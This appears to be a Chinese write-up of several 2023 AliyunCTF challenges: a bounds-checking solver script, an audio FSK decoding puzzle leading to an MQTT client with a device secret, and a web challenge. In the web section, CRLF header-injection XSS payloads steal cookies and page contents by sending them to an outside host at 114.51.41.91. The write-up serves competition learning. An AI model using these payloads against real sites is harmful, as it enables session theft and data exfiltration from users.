2023 阿里云CTF / AliyunCTF 部分WriteUp
点击蓝字
关注我们
引言
热身赛:热身赛将于4月2日0:00开始,4月21日 0:00结束。 正式赛:正式赛将于4月21日21:00开始,4月23日21:00结束。
Misc
我们的代码审计工程师跑路了!帮帮我们! nc 47.98.209.191 1337
题目说明 SC是本题新定义的一种语法和语义类似C语言的命令式语言,其语法使用EBNF描述如下:
Prog := DefList ArrList;
DefList := { varDef ';' }
ArrList := { arrayExpr ';' }
Typename := 'int'
;
varDef := Typename Id {'[' expr ']'}
| Typename Id '=' DigitSequence
;
arrayUnit := Id '[' expr ']' {'[' expr ']'}
;
arrayExpr := Id AssignmentOperator arrayUnit
| Id AssignmentOperator expr
| arrayUnit AssignmentOperator expr
;
expr := arrayUnit op expr
| Id op expr
| DigitSequence op expr
| arrayUnit
| Id
| DigitSequence
;
op := '/' |'*' | '+' | '-'
;
AssignmentOperator := '='
;
Id := IdNondigit { IdNondigit | digit }
;
DigitSequence := nonzero-digit { digit }
;
nonzero-digit := '1' | '2' | '3' | '4' | '5' | '6' | '7' | '8' | '9' ;
digit := '0' | '1' | '2' | '3' | '4' | '5' | '6' | '7' | '8' | '9' ;
IdNondigit
表示[a-zA-Z_]
。oob
;如果不存在数组越界,发送safe
;如果无法判断或出现其他错误,发送unknown
def proof_of_work():
s = os.urandom(10)
digest = sha256(s).hexdigest()
my_print("sha256(XXX + {0}) == {1}".format(s[3:].hex(),digest))
my_print("Give me XXX in hex: ")
x = read_str()
if len(x) != 6 or x != s[:3].hex():
my_print("Wrong!")
return False
return True
def PoW():
if not proof_of_work():
sys.exit(-1)
float('inf')
,然后一堆 if 走天下,出现未知错误(比如未定义的变量)之类就交给 Exception 处理输出 unknown"""
MiaoTony
"""
from pwn import *
from itertools import product
from string import ascii_letters, digits, hexdigits
from hashlib import sha256
import re
import sys
# context.log_level = 'debug'
context.timeout = 10
r = remote('47.98.209.191', 1337)
rec = r.recvline().strip().decode()
suffix = rec.split("+ ")[1].split(")")[0]
digest = rec.split("== ")[1]
log.info(f"suffix: {suffix}\ndigest: {digest}")
for comb in product('0123456789abcdef', repeat=6):
prefix = ''.join(comb)
if sha256(bytes.fromhex(prefix+suffix)).hexdigest() == digest:
print(prefix)
break
else:
log.info("PoW failed")
r.sendlineafter(b"Give me XXX in hex: ", prefix.encode())
r.recvuntil(b"Good luck!\n")
def parse_program(program):
# print(locals())
for line in program.splitlines()[:-1]:
line = line.strip().replace("/", "//")
if not line:
continue
log.info(f'>>>>>> {line}')
if line.startswith("int"):
if '=' in line:
# int n1 = 207;
exec(line.lstrip('int').strip())
else:
match = re.findall(r'int\s+(\w+);', line)
log.info(f"-> match1-1: {match}")
if match:
# int x;
exec(f"{match[0][0]} = float('inf')")
continue
match = re.findall(
r'int\s+(\w+)\[\s*(.*?)\s*\]\[\s*(.*?)\s*\];', line)
if match:
# int a[ 145 ][ 774 ];
# int a[ n ][n+23 ]
log.info(f"-> match1-2: {match[0]}")
exec(
f"{match[0][0]} = [[float('inf')] * ({match[0][2]})] * ({match[0][1]})")
continue
match = re.findall(r'int\s+(\w+)\[\s*(.*?)\s*\];', line)
if match:
# int a[n1];
log.info(f"-> match1-3: {match[0]}")
exec(f"{match[0][0]} = [float('inf')] * ({match[0][1]})")
elif '=' in line:
# a[ 17 ] = 579;
# c[a[ 17 ] - b[ 349 ]] = 4516;
match2 = re.findall(r'(\w+)\[\s*(.*?)\s*\]\s*=', line)
match3 = re.findall(
r'(\w+)\[\s*(.*?)\s*\]\[\s*(.*?)\s*\]\s*=', line)
if match3:
log.info(f"-> match3: {match3[0]}")
if eval(match3[0][1]) in [float('inf'), float('-inf')] or eval(match3[0][2]) in [float('inf'), float('-inf')] \
or eval(match3[0][1]) < 0 or eval(match3[0][2]) < 0:
raise IndexError
elif match2:
log.info(f"-> match2: {match2[0]}")
if eval(match2[0][1]) in [float('inf'), float('-inf')] or eval(match2[0][1]) < 0:
# Uninitialized variable
raise IndexError
log.info(f"dddddddddddddddddddddddddddd, {line}")
exec(line)
cnt = 1
while cnt <= 300:
info = r.recvline().decode().strip()
log.info(info)
if "Wrong judgment!" in info:
sys.exit(-1)
program = r.recvuntil(b'Your answer (safe/oob/unknown): \n').decode()
log.info(f"{cnt} ===> \n{program}")
cnt += 1
try:
parse_program(program)
except IndexError:
log.info('[+] OOB')
r.sendline(b'oob')
except Exception as e:
log.info(f'[+] Unknown Error.....\n{e}')
r.sendline(b'unknown')
else:
log.info('[+] safe')
r.sendline(b'safe')
r.interactive()
# aliyunctf{0k_y0u_kn0w_h0w_to_analyse_Pr0gram}
说来如果正经做的话估计得写个 编译原理里的 AST,喵喵不会,而且写起来太复杂了,算了(
消失的声波
-它说了什么? -我听不懂,但我大受震撼 问:它说了什么? Hint:记住你的目标
OVUB7rdc9oH112Ve.wav
import wave
import matplotlib.pyplot as plt
import numpy as np
with wave.open('OVUB7rdc9oH112Ve.wav') as w:
framerate = w.getframerate()
frames = w.getnframes()
channels = w.getnchannels()
width = w.getsampwidth()
print('sampling rate:', framerate, 'Hz')
print('length:', frames, 'samples')
print('channels:', channels)
print('sample width:', width, 'bytes')
data = w.readframes(frames)
sig = np.frombuffer(data, dtype='<i2').reshape(-1, channels)
sigl = [i[0] for i in sig]
len(sigl)
# 499640
seg = [0]
for i in range(1, len(sigl) - 1):
l0, l1, l2 = sigl[i-1], sigl[i], sigl[i+1]
if l0 < l1 and l2 < l1:
seg.append(l1//100)
if l1 == 0 and seg[-1] != 0:
seg.append(l1//100)
len(seg)
# 6127
bsec = []
tmp = []
for i in seg[1:]:
if abs(i) > 0:
assert i in [73, 83]
if i == 73:
tmp.append(0)
elif i == 83:
tmp.append(1)
else:
if len(tmp) > 0:
bsec.append(tmp)
tmp = []
len(bsec)
# 6
print(bsec[0] == bsec[1] == bsec[2])
print(bsec[3] == bsec[4] == bsec[5])
# True
# True
bsec
就是那6个不同的片段,前三段和后三段各自确实是重复的for i in range(20):
print(''.join(map(lambda i:'.' if i == 0 else '|', bsec[1][29*i:29*(i+1)])))
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
........|||....|||....|||....
....|||||||||||||||....||||||
|||........||||||....||||||..
..||||||||||||....||||||....|
|||||||||||....|||....|||....
def reduce34bs(bs):
i = 0
bits = []
while i < len(bs):
assert bs[i] in [0, 1]
if bs[i] == 1:
assert bs[i+1] == 1
assert bs[i+2] == 1
bits.append(1)
i += 3
elif bs[i] == 0:
assert bs[i+1] == 0
assert bs[i+2] == 0
assert bs[i+3] == 0
bits.append(0)
i += 4
return bits
from scapy.utils import hexdump
bsl = reduce34bs(bsec[0])
print(len(bsl))
s = ''.join(map(str,bsl))
print(s)
data = int(s, 2).to_bytes(len(s)//8, 'big')
print(data)
hexdump(data)
第一部分:
416
00101010001010100010101000101010001010100010101000101010001010100010101000101010001010100010101000101010001010100010101000101010011111011100110110111101101111010100101101101001000010011101000110110011111100111011001100110011100010110000100100110001001100010100101111101001101000010100101100001101111100010110010111011001001111010101000101001101110100010010100101110101111000110110010110101001111010010100100110110011
b'****************}\xcd\xbd\xbdKi\t\xd1\xb3\xf3\xb33\x8b\t11K\xe9\xa1K\r\xf1e\xd9=QM\xd1)u\xe3e\xa9\xe9I\xb3'
0000 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A ****************
0010 7D CD BD BD 4B 69 09 D1 B3 F3 B3 33 8B 09 31 31 }...Ki.....3..11
0020 4B E9 A1 4B 0D F1 65 D9 3D 51 4D D1 29 75 E3 65 K..K..e.=QM.)u.e
0030 A9 E9 49 B3 ..I.
同理,第二部分:
bsl2 = reduce34bs(bsec[3])
print(len(bsl2))
s2 = ''.join(map(str,bsl2))
print(s2)
data2 = int(s2, 2).to_bytes(len(s2)//8, 'big')
print(data2)
hexdump(data2)
160
0010101000101010001010100010101000101010001010100010101000101010001010100010101000101010001010100010101000101010001010100010101010001101100011011000110110001101
b'****************\x8d\x8d\x8d\x8d'
0000 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A 2A ****************
0010 8D 8D 8D 8D
****************
一共 16 个,倒是感觉有希望,后面这堆又是啥???bsl = reduce34bs(bsec[0])
bsl = [1 if i == 0 else 0 for i in bsl][::-1]
s = ''.join(map(str,bsl))
print(s)
data = int(s, 2).to_bytes(len(s)//8, 'big')
print(data)
hexdump(data)
上面这个逆序之后,就有可见字符了
00110010011011010110100001101010010110010011100001010001011010110111010001001101011101010100001101100100010110010111000001001111001011010111101001101000001011010111001101110011011011110010111000110011001100100011000000110010011101000110111101101001001011010100001001000010010011000100000110101011101010111010101110101011101010111010101110101011101010111010101110101011101010111010101110101011101010111010101110101011
b'2mhjY8QktMuCdYpO-zh-sso.3202toi-BBLA\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab\xab'
0000 32 6D 68 6A 59 38 51 6B 74 4D 75 43 64 59 70 4F 2mhjY8QktMuCdYpO
0010 2D 7A 68 2D 73 73 6F 2E 33 32 30 32 74 6F 69 2D -zh-sso.3202toi-
0020 42 42 4C 41 AB AB AB AB AB AB AB AB AB AB AB AB BBLA............
0030 AB AB AB AB
ALBB-iot2023.oss-hz-OpYdCuMtkQ8Yjhm2
ALBB-
(阿里巴巴?) 之后访问,会下载得到一个 binary$ file OpYdCuMtkQ8Yjhm2
OpYdCuMtkQ8Yjhm2: Mach-O 64-bit x86_64 executable, flags:<NOUNDEFS|DYLDLINK|TWOLEVEL|PIE>
要是喵喵有 x86 mac 的话这个 binary 就能直接跑了 ~~(甚至通过后面的分析发现简单 patch 一下就能出 flag 了~~
pip install paho-mqtt
iot.py
里的连接信息改成题目里面的"{\"id\":\"flag\"}"
就好了import json
import time
import paho.mqtt.client as mqtt
from MqttSign import AuthIfo
# set the device info, include product key, device name, and device secret
productKey = "a1eAwsBKddO"
deviceName = "ncApIY2XV9NUIY4VpbGk"
deviceSecret = "04845e512ead208b2437d970a154d69e"
# set timestamp, clientid, subscribe topic and publish topic
timeStamp = str((int(round(time.time() * 1000))))
clientId = "192.168.****"
subTopic = "/" + productKey + "/" + deviceName + "/user/get"
pubTopic = "/" + productKey + "/" + deviceName + "/user/update"
# set host, port
host = productKey + ".iot-as-mqtt.cn-shanghai.aliyuncs.com"
# instanceId = "***"
# host = instanceId + ".mqtt.iothub.aliyuncs.com"
port = 1883
# set tls crt, keepalive
tls_crt = "root.crt"
keepAlive = 300
# calculate the login auth info, and set it into the connection options
m = AuthIfo()
m.calculate_sign_time(productKey, deviceName,
deviceSecret, clientId, timeStamp)
client = mqtt.Client(m.mqttClientId)
client.username_pw_set(username=m.mqttUsername, password=m.mqttPassword)
client.tls_set(tls_crt)
def on_connect(client, userdata, flags, rc):
if rc == 0:
print("Connect aliyun IoT Cloud Sucess")
else:
print("Connect failed... error code is:" + str(rc))
def on_message(client, userdata, msg):
topic = msg.topic
payload = msg.payload.decode()
print("receive message ---------- topic is : " + topic)
print("receive message ---------- payload is : " + payload)
if ("thing/service/property/set" in topic):
on_thing_prop_changed(client, msg.topic, msg.payload)
def on_thing_prop_changed(client, topic, payload):
post_topic = topic.replace("service", "event")
post_topic = post_topic.replace("set", "post")
Msg = json.loads(payload)
params = Msg['params']
post_payload = "{\"params\":" + json.dumps(params) + "}"
print("reveice property_set command, need to post ---------- topic is: " + post_topic)
print("reveice property_set command, need to post ---------- payload is: " + post_payload)
client.publish(post_topic, post_payload)
def connect_mqtt():
client.connect(host, port, keepAlive)
return client
def publish_message():
# publish 5 messages to pubTopic("/a1LhUsK****/python***/user/update")
for i in range(5):
message = "ABC" + str(i)
client.publish(pubTopic, message)
print("publish msg: " + str(i))
print("publish msg: " + message)
time.sleep(2)
def publish_message2(message):
client.publish(pubTopic, message)
print("publish msg: " + message)
def subscribe_topic():
# subscribe to subTopic("/a1LhUsK****/python***/user/get") and request messages to be delivered
client.subscribe(subTopic)
print("subscribe topic: " + subTopic)
client.on_connect = on_connect
client.on_message = on_message
client = connect_mqtt()
client.loop_start()
time.sleep(2)
subscribe_topic()
publish_message2("{\"id\":\"1\"}")
publish_message2("{\"id\":\"admin\"}")
publish_message2("{\"id\":\"flag\"}")
# aliyunctf{5558be2e286febe9ba54c721cb4a0e61}
while True:
time.sleep(1)
*傻逼逆序,傻逼套娃,喵喵气死了(*
赛后看了 草帽 的 wp,发现用 minimodem 就能直接解出来,呜呜
就说这么规律连噪声都没加的信号应该有现成工具才对((感觉下次应该先去找现成工具而不是自己造轮子?
minimodem - general-purpose software audio FSK modem for GNU/Linux systems
Minimodem is a command-line program which decodes (or generates) audio modem tones at any specified baud rate, using various framing protocols. It acts a general-purpose software FSK modem, and includes support for various standard FSK protocols such as Bell103, Bell202, RTTY, TTY/TDD, NOAA SAME, and Caller-ID.
Minimodem can play and capture audio modem tones in real-time via the system audio device, or in batched mode via audio files.
Minimodem can be used to transfer data between nearby computers using an audio cable (or just via sound waves), or between remote computers using radio, telephone, or another audio communications medium.
via http://www.whence.com/minimodem/
source code: https://github.com/kamalmostafa/minimodem
是个专门用来解析、生成声音形式的 FSK 猫 信号的工具
顺便,再来复习一下通信原理的知识,看看远方 2FSK 的频谱吧
大概来说就是以两个频率为各自中心的展宽,连续谱是那两个尖峰,然后以他为中心有个 Sa 函数的展宽是离散谱 二者中间可能有交叉部分,最终的频谱是两部分的叠加。如果两个峰离得近的话可以用相干解调(同步检波),离得远的话可以用非相干解调(包络检波)。
往 <你最喜欢的 JavaScript 引擎> 里加人造漏洞有啥意思咧?往最新最热的原版里整点群众喜闻乐见的功能进去不就得了。 注意:不需要 0day, 0.5day, 1day, 各种 day。不需要利用漏洞。这是杂项题,不是 Pwn 题。 nc 121.43.32.237 1337
Web
Obsidian
新·笔记本 服务每5分钟会重置。 Obsidian 不需要用扫描器 http://116.62.26.23
Content-Security-Policy: default-src 'self'; script-src 'none';
/note
路由下的 id 会放到 headers 里的 Note-Id
里,然后构造 %0d%0a
可以插入其他 header进一步可以插入到 body 里
Content-Length
好了http://116.62.26.23:8000/note/miao%0D%0Aabb:6a1b84b%0D%0AContent-Length:40%0D%0A%0D%0A<script>alert('meow');<%2Fscript>
miao
Content-Length: 68
<script>location.href='114.51.41.91:9810/'+document.cookie</script>
http://116.62.26.23:8000/note/miao%0D%0AContent-Length:68%0D%0A%0D%0A%3Cscript%3Elocation.href='114.51.41.91:9810/'+document.cookie%3C/script%3E
localhost:8000
才行(http://localhost:8000/note/miao%0D%0AContent-Length:68%0D%0A%0D%0A%3Cscript%3Elocation.href='114.51.41.91:9810/'+document.cookie%3C/script%3E
Content-Length
对于解题而言不是很必要,不如为了方便直接把这个 header 删了(/blog
,然后看看里面有啥东西<html><script>fetch('/blog').then((r)=>r.text()).then((r)=>{location.href='http://114.51.41.91:9810/?content='+btoa(r)});</script></html>
http://localhost:8000/note/miao%0D%0A%0D%0A%0D%0A%3chtml%3e%3Cscript%3Efetch('%2fblog').then((r)%3d%3er.text()).then((r)%3d%3e%7blocation.href%3d'http%3a%2f%2f114.51.41.91%3a9810%2f%3fcontent%3d'%2bbtoa(r)%7d);%3C%2Fscript%3E%3c%2fhtml%3e
<html><script>fetch('/note/21715b42-85df-4131-affe-2d366dbee2eb').then((r)=>r.text()).then((r)=>{location.href='http://114.51.41.91:9810/?content='+btoa(r)});</script></html>
http://localhost:8000/note/miao%0D%0Aabb:6a1b84b%0D%0A%0D%0A%0D%0A%3chtml%3e%3Cscript%3Efetch('%2fnote%2f21715b42-85df-4131-affe-2d366dbee2eb').then((r)%3d%3er.text()).then((r)%3d%3e%7blocation.href%3d'http%3a%2f%2f114.51.41.91%3a9810%2f%3fcontent%3d'%2bbtoa(r)%7d);%3C%2Fscript%3E%3c%2fhtml%3e
XMLHttpRequest
<script>const Http = new XMLHttpRequest();const url = '/blog';Http.open("GET", url);Http.send();Http.onreadystatechange = (e) => {document.write('<img src="http://114.51.41.91:9810/?cookie=' + escape(Http.responseText.slice(100)) + '">');}</script>
http://localhost:8000/note/11%0aContent-Length:1200%0a%0a%3Cscript%3Econst%20Http%20%3D%20new%20XMLHttpRequest()%3Bconst%20url%20%3D%20%27%2Fblog%27%3BHttp.open(%22GET%22%2C%20url)%3BHttp.send()%3BHttp.onreadystatechange%20%3D%20(e)%20%3D%3E%20%7Bdocument.write(%27%3Cimg%20src%3D%22http%3A%2F%2F114.51.41.91%3A9810%2F%3Fcookie%3D%27%20%2B%20escape(Http.responseText.slice(100))%20%2B%20%27%22%3E%27)%3B%7D%3C%2Fscript%3E
/
,而错误的话还是 303 到 /submit
页面问的话,简单来说是喵喵调了一晚上发现怎么远程老是没东西回来,但是队友可以,以及拿同样的 payload 打喵喵的 VPS 也可以,而我这个电脑这个浏览器就不行? 然后换了台电脑,就行了??? 想不通怎么那么玄学,于是从 Firefox 换成 Chrome 试了试,发现也是行的??? 然后拿浏览器里的原始报文去 BurpSuite 发包,先 GET 获取 PoW 再 POST 提交也是行的???那就更玄学了。 最后想不通给浏览器挂上 burp 的代理,看请求才发现原来是一个请求重复了两次,后一个请求还不在浏览器的 network 里出现,而正是这个请求把喵喵的验证码给冲掉了,气死了啊啊啊啊! 盲猜就是每个浏览器插件锅了,于是试了几个可能的插件,发现果然是其中一个的问题,说的就是你 FindSomething,谁能想到还有这种非预期行为啊( 然后发现居然 有 issue 提过 同一个 url 请求两次 这件事情了:
看来下次打比赛得换个干净点的环境(
小结
BTW, 官方 writeup 也出来了:https://xz.aliyun.com/t/12485
往期推荐